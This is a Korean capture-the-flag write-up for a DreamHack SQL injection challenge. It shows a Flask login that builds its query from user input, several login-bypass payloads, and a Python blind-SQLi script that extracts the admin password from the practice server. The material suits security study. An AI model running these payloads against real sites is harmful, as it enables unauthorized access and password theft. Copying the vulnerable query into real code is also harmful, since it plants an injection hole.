
SQLite를 이용하여 데이터베이스를 관리하고 있는 문제이다.
/login 페이지에서 입력받은 ID/PW를 데이터베이스에서 조회하고 이에 해당하는 데이터가 있을 경우 로그인을 수행한다. 우리는 FLAG 획득을 위해 admin 계정의 비밀번호를 알아내거나, admin 계정으로의 로그인을 우회해야 한다.
따라서 이 문제는 2가지 풀이방법이 있다. 하나는 비밀번호를 모른채로 로그인을 우회하여 풀이하는 방법과, 관리자 계정의 비밀번호를 알아내고 올바른 경로로 로그인 하는 방법으로 나눌 수 있다.
def login(): # login 함수 선언
...
userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
# users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
...
def query_db(query, one=True): # query_db 함수 선언
cur = get_db().execute(query) # 연결된 데이터베이스에 쿼리문을 질의
rv = cur.fetchall() # 쿼리문 내용을 받아오기
cur.close() # 데이터베이스 연결 종료
return (rv[0] if rv else None) if one else rv # 쿼리문 질의 내용에 대한 결과를 반환
userid와 userpassword를 이용자에게 입력받고, 동적으로 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의한다. 이러한 동작으로 생성한 쿼리를 RawQuery라고 한다.
RawQuery를 생성할 때, 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있다. 이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 삽입하여 공격을 수행할 수 있다.
아래는 로그인을 위해 실행하는 쿼리문으로, 다양하게 조작할 수 있다.
SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
마지막 방법은 SQL LIMIT 키워드를 사용하였으며,
SELECT * FROM 테이블명 LIMIT 숫자 로 사용한다.
LIMIT은 처음부터 몇 개 까지의 데이터를 보여주는지 지정하며, 여기에 LIMIT OFFSET으로 지정하여 시작점에서부터 몇 개 이후까지 데이터를 보여주는지 또한 지정할 수 있다.
OFFSET은 0부터 시작하므로 테이블의 2번째 Row에 저장되어있는 admin의 정보는 LIMIT 1,1을 사용하여 반환하도록 할 수 있다.
Blind SQL Injection을 통해 관리자의 비밀번호 자체를 알아내는 방법이 있다.
guest로 로그인하는 과정에서 크롬의 개발자도구에서 네트워크 탭을 확인하여 HTTP 데이터를 확인할 수 있다. 로그인할 때 입력한 userid 값은 userid로 password는 userpassword로 전송됨을 확인할 수 있다.
이제 스크립트를 작성하면서 파이썬의 requests 모듈로 POST 요청을 보낼때, 위에서 확인한 Form Data를 참고하여 요청을 보내면 되고, 비밀번호의 길이를 먼저 파악한 후 길이만큼의 반복문을 실행하여 비밀번호를 획득하는 스크립트를 작성하면 된다.
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {"userid": userid, "userpassword": userpassword}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f'" or {query}-- ', "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low + high) // 2
if low + 1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ""
for idx in range(1, pw_len + 1):
query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
DreamHack 강의 - Exercise: SQL Injection
DreamHack 강의 - Exercise: Blind SQL Injection